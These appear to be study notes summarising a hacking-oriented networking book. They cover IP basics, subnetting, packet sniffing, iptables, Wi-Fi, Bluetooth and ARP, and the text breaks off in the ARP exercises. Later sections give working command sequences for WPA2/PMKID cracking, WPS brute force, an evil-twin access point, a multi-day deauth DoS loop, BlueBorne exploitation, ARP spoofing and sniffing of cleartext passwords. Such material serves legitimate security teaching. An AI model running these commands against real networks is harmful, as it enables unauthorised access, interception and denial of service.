Book: Network Basics for Hackers Β· OccupyTheWeb (OTW) Β· InfoSec Press 2023
Platform: Kali Linux
| # | Chapter |
|---|---|
| 1 | Network Basics |
| 2 | Subnetting & CIDR |
| 3 | Network Analysis |
| 4 | Linux Firewalls |
| 5 | Wi-Fi Networks |
| 6 | Bluetooth Networks |
| 7 | ARP |
| 8 | DNS |
| 9 | SMB |
| 10 | SMTP |
| 11 | SNMP |
| 12 | HTTP |
| 13 | Automobile Networks |
| 14 | SCADA/ICS |
| 15 | RF Networks & SDR |
| A | Appendix β Cyber Warrior Wisdom |
- IP Addresses
- Classes of IP Addresses
- Public vs Private IP
- DHCP
- NAT
- Ports
- TCP/IP & Protocols
- IP Header
- TCP Header & Flags
- TCP Three-Way Handshake
- UDP
- Network Topologies
- OSI Model
- Exercises
Every digital device is assigned an IP address β like a house address for the internet.
- Current standard: IPv4 (Internet Protocol version 4)
- Made up of 32 bits split into 4 octets (8 bits each)
- Each octet = decimal value 0 to 255 (2βΈ = 256)
Binary: 11000000 . 10101000 . 00000001 . 01100101
Decimal: 192 . 168 . 1 . 101
βββ Example IP: 192.168.1.101
| Class | Range | Purpose |
|---|---|---|
| A | 0.0.0.0 β 127.255.255.255 |
Very large networks |
| B | 128.0.0.0 β 191.255.255.255 |
Medium networks |
| C | 192.0.0.0 β 223.255.255.255 |
Small LANs (most common) |
Subnet masks vary per class β covered in Chapter 2.
Problem: IPv4 has only ~4.3 billion addresses for 7.5 billion people + devices.
Solution: Reuse private IP addresses inside LANs β they don't route on the internet.
| Range | Notes |
|---|---|
192.168.0.0 β 192.168.255.255 |
Most home routers |
10.0.0.0 β 10.255.255.255 |
Enterprise LANs |
172.16.0.0 β 172.16.255.255 |
Mid-scale networks |
π Hacker Note:
ifconfigon Kali will show your private IP. You need NAT (below) to reach the internet.
Dynamic Host Configuration Protocol β automatically assigns IP addresses to devices on a LAN.
Device connects β sends request β DHCP server assigns IP for a "lease" period
- IP assignment is temporary (dynamic lease)
- On reconnect, you may get a different IP in the same range (e.g.
192.168.0.x)
Network Address Translation β lets multiple private-IP devices share one public IP.
[PC: 192.168.1.10] ββ
[PC: 192.168.1.11] ββ€βββΊ [NAT Router: 203.x.x.x] βββΊ Internet
[PC: 192.168.1.12] ββ
How it works:
- Device sends packet β NAT swaps private IP β public IP, records in table
- Packet travels internet with public IP
- Response arrives β NAT looks up table β forwards to correct private device
The devices never know translation is happening.
Ports are sub-addresses. IP = building address. Port = apartment number.
- 65,536 total ports (2ΒΉβΆ)
- First 1,024 = well-known "common ports"
| Port | Protocol | Service |
|---|---|---|
| 21 | TCP | FTP |
| 22 | TCP | SSH |
| 23 | TCP | Telnet |
| 25 | TCP | SMTP (Email) |
| 53 | UDP/TCP | DNS |
| 80 | TCP | HTTP |
| 110 | TCP | POP3 |
| 143 | TCP | IMAP |
| 443 | TCP | HTTPS |
| 445 | TCP | SMB |
| 3389 | TCP | RDP |
# TCP connect scan
sudo nmap -sT <target-IP>
# UDP scan
sudo nmap -sU <target-IP>Protocols = agreed-upon rules for communication, defined in RFCs (Request for Comments).
| Protocol | Full Name | Purpose |
|---|---|---|
| IP | Internet Protocol | Addressing & routing |
| TCP | Transmission Control Protocol | Reliable, ordered delivery |
| UDP | User Datagram Protocol | Fast, connectionless |
| HTTP | HyperText Transfer Protocol | Web browsing |
| SMTP | Simple Mail Transfer Protocol | |
| DNS | Domain Name System | Name β IP resolution |
| FTP | File Transfer Protocol | File transfer |
| SNMP | Simple Network Mgmt Protocol | Network device management |
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Field | Purpose | Hacker Use |
|---|---|---|
| TTL | Hops before expiry | OS fingerprinting (Linuxβ64, Windowsβ128, Ciscoβ255) |
| Protocol | Inner protocol (TCP=6, UDP=17, ICMP=1) | Identify traffic type |
| IP Flags | Fragmentation (DF/MF bits) | Evade IDS/firewalls via fragmentation |
| Identification | Unique packet ID | Reassemble fragmented packets |
| Source/Dest IP | Sender & receiver | Trace origin; spoofing |
| Header Checksum | Integrity | Detect tampering |
β οΈ Attack: Manipulate IP Flags withnmaporhping3to fragment packets and evade detection.
| Flag | Name | Purpose | Hacker Use |
|---|---|---|---|
| SYN | Synchronize | Open new connection | SYN flood (DoS), stealth scan (nmap -sS) |
| ACK | Acknowledge | Confirm packet receipt | ACK scan to map firewall rules |
| FIN | Finish | Graceful close | FIN scan β closed ports reply RST |
| RST | Reset | Hard abort | TCP reset attacks to kill sessions |
| URG | Urgent | Immediate processing | Rarely used offensively |
| PSH | Push | Skip buffer β app | Interactive sessions (SSH, Telnet) |
π― Tip: Illegal flag combos (SYN+FIN, all flags = XMAS scan) can fingerprint OS or evade detection. Use
nmaporhping3.
The Window Size field + TTL + DF flag can identify sender OS with ~80% accuracy.
Tool: p0f β passive OS fingerprinting (no packets sent to target).
Every TCP connection requires a 3-way handshake before data transfer:
CLIENT SERVER
β β
ββββββββββββ SYN ββββββββββββββββββββΊ β "Hello, I want to talk"
β β
ββββββββββββ SYN-ACK βββββββββββββββ β "Hi, I'm ready"
β β
ββββββββββββ ACK ββββββββββββββββββββΊ β "Great, let's go"
β β
ββββββββββββ DATA TRANSFER ββββββββββ β
β οΈ SYN Flood Attack: Send massive SYN packets without completing ACK β server's connection table exhausts β Denial of Service (DoS).
User Datagram Protocol β connectionless, "fire and forget."
CLIENT SERVER
β β
βββββ DATAGRAM βββββββββββββββββΊβ No ACK. No guarantee.
- Faster than TCP (no overhead, no handshake)
- Unreliable β packets can be lost with no notification
- Best for: streaming, DNS queries, SNMP, NTP
# UDP port scan (slower β no RST from open ports, nmap waits for timeout)
sudo nmap -sU <target-IP>PC1 ββββ PC2 ββββ PC3 ββββ PC4
(single shared bus)
- β Cheap & simple
- β Congestion on busy networks
PC1
β
PC4 βββ HUB βββ PC2
β
PC3
- β Independent connections; one failure doesn't affect others
- β Hub/switch = single point of failure
PC1 β PC2 β PC3 β PC4 β (back to PC1)
- β Simple, inexpensive
- β One break = entire network down
PC1 βββ PC2
β β² β± β
β β³ β
β β± β² β
PC3 βββ PC4
- β Highly resilient, many redundant paths
- β Most expensive, complex
- π± Apps like Briar use mesh over Wi-Fi/Bluetooth for off-grid comms
The Open Systems Interconnection model β 7 layers describing how network communication works.
Mnemonic (top β bottom): All People Seem To Need Data Processing
Mnemonic (bottom β top): Please Don't Throw Sausage Pizza Away
ββββββββββββ¬βββββββββββββββ¬ββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββ
β Layer 7 β APPLICATION β HTTP, FTP, DNS, SMTP β β Exploits β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 6 β PRESENTATION β SSL/TLS, Encryption β β Phishing β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 5 β SESSION β NetBIOS, RPC, SMB β β Session Hijacking β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 4 β TRANSPORT β TCP, UDP β β Reconnaissance β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 3 β NETWORK β IP, ICMP, Routing β β MitM Attacks β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 2 β DATA LINK β Ethernet, ARP, MAC β β MAC Spoofing β
ββββββββββββΌβββββββββββββββΌββββββββββββββββββββββββββββΌβββββββββββββββββββββββββ€
β Layer 1 β PHYSICAL β Cables, Wi-Fi, Signals β β Sniffing β
ββββββββββββ΄βββββββββββββββ΄ββββββββββββββββββββββββββββ΄βββββββββββββββββββββββββ
| Layer | Primary Attack |
|---|---|
| Application (7) | Exploits β inject code into apps |
| Presentation (6) | Phishing β malicious email links |
| Session (5) | Session Hijacking β take over a legitimate session |
| Transport (4) | Reconnaissance β port scanning |
| Network (3) | Man-in-the-Middle (MitM) β intercept traffic |
| Data Link (2) | MAC Spoofing β fake hardware address |
| Physical (1) | Sniffing β capture raw network traffic |
- What is the difference between public and private IP addresses? Is
172.16.242.63public or private? - Run
ifconfigβ what IP does your system use? - Run
sudo nmap -sT 127.0.0.1β what ports are open? - Name the 6 TCP flags and what each one does.
- What are the most common attacks against each OSI layer?
IP CLASSES: A: 0β127.x.x.x | B: 128β191.x.x.x | C: 192β223.x.x.x
PRIVATE IPs: 10.x.x.x | 172.16.x.x | 192.168.x.x
TCP FLAGS: SYN ACK FIN RST URG PSH
TTL BY OS: Linux β 64 | Windows β 128 | Cisco β 255
IPv4 gives us 32 bits of address space. Subnetting lets admins divide a large network into smaller sub-networks to:
- Use IP space more efficiently
- Reduce broadcast traffic
- Create separate security zones
- Avoid putting thousands of devices on one flat network
A subnet is a network within a network (Class A, B, or C). Subnets are created by "borrowing" bits from the host portion of an IP address to extend the network ID.
| Class | Default Network Bits | Default Host Bits |
|---|---|---|
| A | 8 | 24 |
| B | 16 | 16 |
| C | 24 | 8 |
Subnetting lets us create network IDs of any size, not just the defaults above.
A subnet mask tells you which bits belong to the network and which belong to the host.
- Bit = 1 β part of the network
- Bit = 0 β part of the host
IP Address: 192 . 168 . 1 . 101
Binary: 11000000.10101000.00000001.01100101
Subnet Mask: 255 . 255 . 255 . 0
Binary: 11111111.11111111.11111111.00000000
βββ host portion
Network ID: 192.168.1.0 (AND of IP & mask)
Host range: 192.168.1.1 β 192.168.1.254
Broadcast: 192.168.1.255
Bitwise AND operation determines the network address:
11000000.10101000.00000001.01100101 (IP)
& 11111111.11111111.11111111.00000000 (mask)
= 11000000.10101000.00000001.00000000 (network = 192.168.1.0)
CIDR = Classless Inter-Domain Routing
Format: IP/prefix-length where prefix-length = number of network bits
192.168.1.0/24 β 24 network bits, 8 host bits (255.255.255.0)
10.0.0.0/8 β 8 network bits, 24 host bits (255.0.0.0)
172.16.0.0/16 β 16 network bits, 16 host bits (255.255.0.0)
Scenario: You have 192.168.1.0 (Class C, 254 hosts). You need 5 subnets with max 30 hosts each.
Step 1: Borrow bits from the host portion to create subnets.
- 3 borrowed bits β 2Β³ = 8 subnets (β2 reserved = 6 usable)
- 5 remaining host bits β 2β΅ = 32 addresses (β2 reserved = 30 hosts) β
Step 2: Calculate the new subnet mask.
Default /24: 11111111.11111111.11111111.00000000
Borrow 3 bits: 11111111.11111111.11111111.11100000
New mask: 255.255.255.224 β /27
Step 3: The 6 usable subnets are:
| Subnet | Network | Host Range | Broadcast |
|---|---|---|---|
| 1 | 192.168.1.0/27 | .1 β .30 | .31 |
| 2 | 192.168.1.32/27 | .33 β .62 | .63 |
| 3 | 192.168.1.64/27 | .65 β .94 | .95 |
| 4 | 192.168.1.96/27 | .97 β .126 | .127 |
| 5 | 192.168.1.128/27 | .129 β .158 | .159 |
| 6 | 192.168.1.160/27 | .161 β .190 | .191 |
| CIDR | Subnet Mask | Hosts per Subnet |
|---|---|---|
| /24 | 255.255.255.0 | 254 |
| /25 | 255.255.255.128 | 126 |
| /26 | 255.255.255.192 | 62 |
| /27 | 255.255.255.224 | 30 |
| /28 | 255.255.255.240 | 14 |
| /29 | 255.255.255.248 | 6 |
| /30 | 255.255.255.252 | 2 |
| /16 | 255.255.0.0 | 65,534 |
| /8 | 255.0.0.0 | 16,777,214 |
π‘ Formula: Hosts per subnet = 2^(32βprefix) β 2
- Subnet masks tell you what other IPs are on the same LAN as a compromised host
- Use
ifconfigorip addrto see your subnet:192.168.1.0/24means scan.1to.254 - CIDR notation is used everywhere in firewall rules, routing tables, nmap scans:
# Scan an entire /24 subnet
sudo nmap -sT 192.168.1.0/24
# Block an entire subnet with iptables
sudo iptables -A INPUT -s 10.0.0.0/8 -j DROP- What subnet mask gives you 14 usable hosts per subnet?
- How many subnets can you create from
10.0.0.0/8using a /24 prefix? - What is the broadcast address of
192.168.5.64/26? - Convert
255.255.255.192to CIDR notation.
ifconfig # View all interfacesKey output fields:
- IPv4 private IP address
- Netmask
- Broadcast IP
- IPv6 address
- MAC address
- Loopback (
127.0.0.1)
ping hackers-arise.com # Test if host is alive (by domain)
ping 185.230.63.107 # Test by IPSends ICMP echo requests. If the host responds β it's up.
netstat -a # All connections
netstat -t # TCP only
netstat -u # UDP only
netstat -l # Listening ports only
netstat -a | grep http # Filter for HTTP connectionsShows every connection coming in or going out. Useful for finding malware phoning home.
ss # Similar to netstat, more info, better formatA network sniffer (packet analyzer / protocol analyzer) intercepts and logs network traffic.
Uses:
- Find unencrypted passwords
- Analyze DNS/MitM attack traffic
- Reveal sites visited, cookies, user-agent strings
- Forensic investigation
Requirement: NIC must be in promiscuous mode β picks up ALL packets, not just ones addressed to it.
Standard file format: .pcap (packet capture) β used by Wireshark, Snort, aircrack-ng, etc.
Popular sniffers:
tcpdumpβ CLI, lightweight, great for remote/non-GUI systemsWiresharkβ GUI, the gold standardtsharkβ CLI version of Wireshark- Network Miner, Capsa, SolarWinds
Controversial: The FBI used a tool called "Carnivore" for 20+ years to sniff suspected criminals' traffic β legal but controversial.
First Linux/UNIX sniffer (1988). Versatile, lightweight, perfect for remote/headless systems.
sudo tcpdump # Capture everything
sudo tcpdump -w myoutput.cap # Save to filesudo tcpdump host 192.168.0.114 # Traffic to/from IP
sudo tcpdump src host 192.168.0.114 # Traffic FROM IP only
sudo tcpdump dst host 192.168.0.114 # Traffic TO IP onlysudo tcpdump dst port 80 # Traffic to port 80
sudo tcpdump -vv dst port 80 # Verbose (decode headers + user-agent)sudo tcpdump 'tcp[tcpflags]==tcp-syn' # SYN packets only
sudo tcpdump 'tcp[tcpflags]==tcp-ack'
sudo tcpdump 'tcp[tcpflags]==tcp-fin'
sudo tcpdump 'tcp[tcpflags]==tcp-rst'
sudo tcpdump 'tcp[tcpflags]==tcp-psh'
sudo tcpdump 'tcp[tcpflags]==tcp-urg'sudo tcpdump host 192.168.0.114 and port 80 # AND
sudo tcpdump port 80 or port 443 # OR
sudo tcpdump not host 192.168.0.114 # NOT / Negation# Filter for cleartext passwords on common ports
sudo tcpdump port 80 or port 21 or port 25 or port 110 or port 143 or port 23 -lA \
| egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|password='sudo tcpdump -vvAls | grep 'User-Agent'
sudo tcpdump -vvAls | grep 'Set-Cookie|Host|Cookie:'S = SYN
S. = SYN-ACK (tcpdump uses "." for ACK)
. = ACK
GUI-based sniffer β the de-facto standard. Built into Kali.
wireshark & # Launch from terminalβββββββββββββββββββββββββββββββββββββββ
β #1 Packet List Pane β β Color-coded live packets
βββββββββββββββββββββββββββββββββββββββ€
β #2 Packet Details Pane β β Header fields of selected packet
βββββββββββββββββββββββββββββββββββββββ€
β #3 Packet Bytes Pane β β Hex (left) + ASCII (right) payload
βββββββββββββββββββββββββββββββββββββββ
| Filter | Purpose |
|---|---|
tcp |
TCP traffic only |
udp |
UDP traffic only |
http |
HTTP traffic |
dns |
DNS traffic |
smtp |
SMTP traffic |
ip.addr == 192.168.1.107 |
Traffic to/from IP |
ip.src == 192.168.1.107 |
From IP only |
ip.dst == 192.168.1.107 |
To IP only |
tcp.dstport == 80 |
TCP to port 80 |
tcp contains facebook |
Payload contains string |
tcp.flags.rst == 1 |
RST flag set |
tcp.flags.syn == 1 |
SYN flag set |
Note: Use
==(double equals), not=. Single=does not work in Wireshark syntax.
| Operator | Meaning |
|---|---|
== |
Equal to |
!= |
Not equal to |
> |
Greater than |
< |
Less than |
>= |
Greater than or equal |
<= |
Less than or equal |
contains |
Field contains a value |
matches |
Matches a regex |
Right-click a packet β Follow β TCP Stream
Shows the full conversation of a session (e.g. follow a rogue employee's connection).
Statistics menu β IPv4 Statistics β All Addresses
Useful for baselining normal traffic and spotting anomalies.
- Use
tcpdumpto filter out all traffic not going to/from your IP address. - Connect to hackers-arise.com. Use Wireshark to filter only that site's traffic.
- Use Wireshark to filter for traffic containing the word "hacker."
- Use
netstatto find all connections to your system.
A firewall blocks certain network traffic going into or out of a computer.
- Hardware firewall β protects the whole network
- Software firewall β protects only the host it runs on
iptables is Linux's built-in, flexible CLI firewall utility. Available since January 2001 as part of the Linux kernel (Netfilter project).
iptables has three core building blocks: Tables β Chains β Rules β Targets
| Table | Purpose |
|---|---|
| FILTER | Default. Packet filtering (allow/block) |
| NAT | Rewrite source/destination of packets |
| MANGLE | Alter packet headers (e.g. modify TCP header) |
| RAW | Exemptions from connection tracking |
| Chain | Description |
|---|---|
| INPUT | Packets destined for the local system |
| OUTPUT | Packets leaving the local system |
| FORWARD | Packets being routed through the system |
| Target | Action |
|---|---|
| ACCEPT | Allow the packet |
| DROP | Silently discard (no response to sender) |
| REJECT | Discard and send error back to sender |
| LOG | Log the packet |
| RETURN | Return to calling chain |
# Install (usually pre-installed)
sudo apt install iptables
# View current rules
sudo iptables -L
# View with line numbers
sudo iptables -L --line-numbers
# View help
sudo iptables -h| Option | Meaning |
|---|---|
-A |
Append rule to chain |
-D |
Delete rule from chain |
-L |
List rules |
-F |
Flush (delete all rules) |
-s |
Source address |
-d |
Destination address |
-p |
Protocol (tcp, udp, icmp) |
--dport |
Destination port |
-j |
Jump to target (ACCEPT, DROP, REJECT) |
sudo iptables -A INPUT -s 192.168.1.102 -j DROPsudo iptables -A INPUT -s 192.168.1.0/24 -j DROPsudo iptables -A INPUT -p tcp --dport 22 -j DROP # Block SSH
sudo iptables -A INPUT -p tcp --dport 445 -j DROP # Block SMBsudo iptables -A OUTPUT -p tcp -d amazon.com -j ACCEPTsudo iptables -A OUTPUT -p tcp --dport 80 -j DROP
sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP
β οΈ Rule Order Matters! iptables processes rules top-to-bottom. The first match wins. Place ACCEPT rules BEFORE DROP rules for the same destination.
sudo iptables -Fsudo iptables -L # Shows current default policy (usually ACCEPT)- Default ACCEPT = allow everything unless a rule blocks it (permissive)
- Default DROP = block everything unless a rule allows it (very secure, very tedious)
Allow only hackers-arise.com on ports 80/443, block everything else:
# 1. Allow outbound to hackers-arise.com
sudo iptables -A OUTPUT -p tcp -d hackers-arise.com -j ACCEPT
# 2. Block all other HTTP/HTTPS outbound
sudo iptables -A OUTPUT -p tcp --dport 80 -j DROP
sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP
# 3. Check the table
sudo iptables -L
# 4. Reset when done
sudo iptables -F- Create a firewall that only allows connections to
hackers-arise.comon ports 80 and 443. - Add a rule to block port 445 (SMB).
- Flush all rules when done.
Wi-Fi = IEEE 802.11 β wireless LAN standard maintained by the IEEE.
Also called WLAN (Wireless Local Area Network).
| Term | Meaning |
|---|---|
| AP | Access Point β where clients connect to get internet |
| PSK | Pre-Shared Key β the Wi-Fi password |
| SSID | Network name (e.g. "HomeWifi") |
| ESSID | Extended SSID β same as SSID but spans multiple APs |
| BSSID | Unique identifier of an AP (= AP's MAC address) |
| Channels | Wi-Fi operates on channels 1β14 (1β11 in USA) |
| Power | Signal strength. US limit = 0.5 watts (FCC) |
| Range | Legal limit β 300ft (100m); with high-gain antenna up to 20 miles |
| Frequency | 2.4 GHz and 5 GHz |
| Modes | master (AP), managed (client), monitor (hacker) |
| Protocol | Year | Notes |
|---|---|---|
| WEP | ~1997 | Broken β RC4 flaw cracks in minutes |
| WPA | 2003 | Short-term fix β TKIP, longer IV (128-bit) |
| WPA2 | 2004 | AES/CCMP β stronger, but still crackable |
| WPA3 | ~2018 | Latest β rolling out but not yet widespread |
WPA2 uses: AES-based CCMP, pairwise master key (PMK) derived from PSK + SSID.
Standard Wi-Fi cards cannot inject frames β required for most attacks.
Recommended: Alfa AWUS036NH (~$40 on Amazon) β compatible with aircrack-ng.
Check compatible chipsets: aircrack-ng.org compatible cards
# View wireless interfaces
ifconfig
iwconfig # Wireless-only interfaces
iwlist # Scan for nearby APs
# Put adapter into monitor mode
sudo airmon-ng start wlan0 # Creates wlan0mon
# Kill processes that cause issues
sudo airmon-ng check kill
# Scan for APs and clients
sudo airodump-ng wlan0mon
# Focus on one AP and one channel, save capture
sudo airodump-ng --bssid <BSSID> -c <channel> --write <filename> wlan0monGoal: Capture the WPA2 4-way handshake hash, then crack it offline.
Step 1: Monitor mode
sudo airmon-ng start wlan0
Step 2: Scan for targets
sudo airodump-ng wlan0mon
Step 3: Capture handshake on target AP
sudo airodump-ng --bssid <BSSID> -c <channel> --write HackersAriseCrack wlan0mon
Step 4: (Optional) Force a client to reconnect (captures handshake faster)
sudo aireplay-ng --deauth 100 -a <BSSID> wlan0mon
Step 5: Crack the hash with hashcat
hashcat -m 16800 HackersAriseCrack-01.cap /path/to/wordlist.txt
The capture file
HackersAriseCrack-01.capcontains the hash.
Good wordlist:top10000passwords.txtfrom hackers-arise.com
WPS (Wi-Fi Protected Setup) β press-a-button setup. Introduced a critical flaw:
- PIN = 8 digits, but digit 8 is a checksum
- First 4 and last 3 are checked separately
- Total combinations: 10β΄ + 10Β³ = 11,000 PINs β brute-forceable in hours
Only affects WPS 1.0 (patched in WPS 2.0, ~2012). Still ~10-20% of APs vulnerable.
# Find APs with WPS enabled
sudo wash -i wlan0mon
# Brute-force WPS PIN with bully
sudo bully wlan0mon -b <BSSID> -e <ESSID> -c <channel>
# Or with reaver
sudo reaver -i wlan0mon -b <BSSID> -vvGoal: Create a fake AP with the same SSID. Knock clients off real AP β they connect to you β all traffic flows through your machine unencrypted.
# Step 1: Create fake AP (airbase-ng)
sudo airbase-ng -a aa:bb:cc:dd:ee:ff --essid <TARGET_SSID> -c 6 wlan0mon
# Step 2: Build a bridge (tunnel from fake AP β ethernet β internet)
sudo ip link add name ha type bridge
sudo ip link set ha up
sudo ip link set eth0 master ha
sudo ip link set at0 master ha # at0 is the AP interface created by airbase-ng
# Step 3: Start DHCP on the tunnel
sudo dhclient ha &
# Step 4: Knock clients off the real AP
sudo aireplay-ng --deauth 1000 <BSSID> wlan0mon --ignore-negative-one
# Step 5: Open Wireshark β select "ha" interface β see all client traffic!# One-shot deauth (kicks everyone off)
sudo aireplay-ng --deauth 100 -a <BSSID> wlan0mon
# Persistent DoS script (send deauths every 60s for ~3 days)
#!/bin/bash
for i in $(seq 1 5000); do
aireplay-ng --deauth 100 -a <BSSID> wlan0mon
sleep 60
doneDiscovered in 2018 by hashcat developers. Capture the hash from a single RSN frame β no client connection required.
# Install hcxdumptool
git clone https://github.com/ZerBea/hcxdumptool.git && cd hcxdumptool
make && make install
# Install hcxtools
git clone https://github.com/ZerBea/hcxtools.git && cd hcxtools
make && make install
# Put adapter in monitor mode
sudo airmon-ng start wlan0
# Capture PMKID from all nearby APs
sudo hcxdumptool -I wlan0mon -o HackersArisePMKID --enable_status=1
# Target a single AP (create a file with BSSID, no colons or spaces)
echo "<BSSID_NO_COLONS>" > targetBSSID
sudo hcxdumptool -I wlan0mon -o HackersArisePMKID --enable_status=1 \
--filterlist_ap=targetBSSID --filtermode=2
# Convert to hashcat format
hcxcaptool -z hashoutput.txt HackersArisePMKID
# Crack
hashcat -m 16800 hashoutput.txt top10000passwords.txtMAC filtering allows only specific MAC addresses to connect. Easily bypassed:
# Step 1: Find authenticated client's MAC with airodump-ng
sudo airodump-ng -c 11 -a --bssid <MAC> wlan0mon
# Step 2: Bring down interface
sudo ifconfig wlan0 down
# Step 3: Spoof to authenticated client's MAC
sudo macchanger -m <target_MAC> wlan0
# Step 4: Bring interface back up
sudo ifconfig wlan0 up
# Now connect normally β MAC whitelist thinks you're a legitimate client| Frame | Type | Wireshark Filter |
|---|---|---|
| Association Request | Management | wlan.fc.type==0x00 |
| Association Response | Management | wlan.fc.type==0x01 |
| Probe Request | Management | wlan.fc.type==0x04 |
| Probe Response | Management | wlan.fc.type==0x05 |
| Beacon | Management | wlan.fc.type==0x08 |
| Disassociation | Management | wlan.fc.type==0x0A |
| Authentication | Management | wlan.fc.type==0x0B |
| Deauthentication | Management | wlan.fc.type==0x0C |
| Data Frame | Data | wlan.fc.type==0x20 |
| QoS Data | Data | wlan.fc.type==0x28 |
- Use
iwconfigto view all wireless connections. - Use
airmon-ngto place your adapter into monitor mode. - Use
airodump-ngto find all APs and clients in range. - Use Wireshark to filter only your Wi-Fi interface traffic.
- Use
washto find any WPS-enabled devices in range.
- Developed in 1994 by Ericsson Corp. (Sweden)
- Named after 10th-century Danish King Harald Bluetooth
- Operates at 2.4β2.485 GHz using frequency hopping at 1,600 hops/second (security measure)
- Minimum range: 10 meters; many devices up to 100 meters; extended with special antennas
- Name
- Class
- List of services
- Technical information
When two devices pair, each exchanges a pre-shared secret (link key) stored for future pairing.
Every device has a unique 48-bit identifier (like a MAC address) and a manufacturer-assigned name.
- Bluetooth devices form a piconet β one master + up to 7 active slaves
- Frequency hopping prevents interference between piconets
BlueZ = Linux's Bluetooth protocol stack (installed by default on Kali).
# View Bluetooth interfaces (like ifconfig for BT)
hciconfig
hciconfig hci0 up # Bring up interface
# Inquiry / scanning tool (device name, ID, class, clock)
hcitool scan # Scan for nearby devices
hcitool inq # Inquiry mode
# Sniff Bluetooth communication
hcidumpβββββββββββββββββββββββββββββββ
β Adopted Protocols β PPP, UDP/TCP/IP, OBEX, WAP
βββββββββββββββββββββββββββββββ€
β Telephony Control β TCS Binary, AT-commands
βββββββββββββββββββββββββββββββ€
β Cable Replacement β RFCOMM
βββββββββββββββββββββββββββββββ€
β Bluetooth Core Protocols β Baseband, LMP, L2CAP, SDP
βββββββββββββββββββββββββββββββ
Applications typically use only one vertical slice of this stack.
| Mode | Description |
|---|---|
| Mode 1 | No active security |
| Mode 2 | Service-level security β centralized security manager handles auth/config |
| Mode 3 | Device-level security β authentication + encryption always on |
Security mechanisms:
- Frequency hopping algorithm (known only to paired devices)
- Pre-shared link key (128-bit encryption)
Go to: Applications β Kali Linux β Wireless Attacks β Bluetooth Tools
| Tool | Purpose |
|---|---|
| Bluelog | Site survey β scan and log discoverable devices |
| Bluemaho | GUI suite for Bluetooth security testing |
| Blueranger | Locate devices using L2CAP pings, estimate distance |
| Btscanner | GUI scan for discoverable devices |
| Redfang | Find hidden Bluetooth devices |
| Spooftooph | Bluetooth spoofing tool |
| Attack | Description |
|---|---|
| Blueprinting | Footprinting β enumerate device info |
| Bluesnarfing | Steal data (SMS, calendar, phonebook, images) from BT device |
| Bluebugging | Take full control of target's phone |
| Bluejacking | Send unsolicited "business card" messages |
| Bluesmack | Denial of Service against BT devices |
Released by Armis Security. Exploits SDP protocol β device only needs Bluetooth ON (not discoverable).
Affected: iOS (not iOS 10+), Windows, Android.
# Install dependencies
sudo apt-get install bluetooth libbluetooth-dev
pip install pybluez
pip install pwntools
# Clone the exploit
git clone https://github.com/ojasookert/CVE-2017-0785
cd CVE-2017-0785
chmod 755 CVE-2017-0785.py
# Find target's MAC address
hcitool scan
# Run the exploit
python CVE-2017-0785.py TARGET=<MAC_ADDRESS>The script exploits the SDP vulnerability to extract memory from the device.
- Install BlueZ if not already on your system.
- Use
hciconfigto find your Bluetooth adapter's MAC address. - Use
hcitool scanto find nearby Bluetooth devices.
ARP (Address Resolution Protocol) maps logical IP addresses to physical MAC addresses on a LAN.
- Operates at Layers 2 and 3 of the OSI model
- Used by switches/routers to route traffic to the correct physical machine
- No authentication β critical security weakness
Computer 1 needs to send to Computer 2 (192.168.1.101)
1. Check ARP table β MAC for 192.168.1.101 found?
YES β send directly to that MAC
NO β broadcast ARP request: "Who has 192.168.1.101?"
2. Computer 2 responds (unicast): "I have .101 β my MAC is 11:22:33:44:55:66"
3. Computer 1 updates ARP table β sends packet to 11:22:33:44:55:66
arp -a # View ARP table (shows IP, MAC, type: static/dynamic)sudo arp -a # View ARP table
sudo arp -v # Verbose β shows flags mask and IP classFilter: arp
Expand Address Resolution Protocol in Packet Details to see:
- Sender IP & MAC
- Target IP & MAC
ARP has no authentication β attackers can send gratuitous ARP requests to discover all hosts on a LAN. Useful after compromising one machine and wanting to pivot to others (e.g. a database server).
sudo netdiscover -h # Help
sudo netdiscover -r 192.168.100.0/24 # Scan subnetOutput shows: IP address, MAC address, NIC vendor for every host on the network.
How it works:
Attacker sends gratuitous ARP replies claiming their MAC = the gateway's IP.
Victim updates ARP table β sends all traffic to attacker β Man-in-the-Middle.
Normal: Victim βββββββββββββββββββΊ Gateway βββΊ Internet
MitM: Victim βββΊ Attacker βββΊ Gateway βββΊ Internet
βββ reads/alters traffic
# Ettercap (GUI + CLI)
ettercap -T -q -i eth0 -M arp /victim_IP/ /gateway_IP/
# arpspoof (dsniff suite)
arpspoof -i eth0 -t <victim_IP> <gateway_IP>
# driftnet β view victim's images in real-time
driftnet -i eth0After compromising a host, use ARP to pivot and discover other targets:
# In meterpreter session
run post/multi/gather/arp_scanner RHOSTS=192.168.1.0/24Sends gratuitous ARP requests β discovers all hosts on the network β find valuable targets (file server, DB server).
- Use
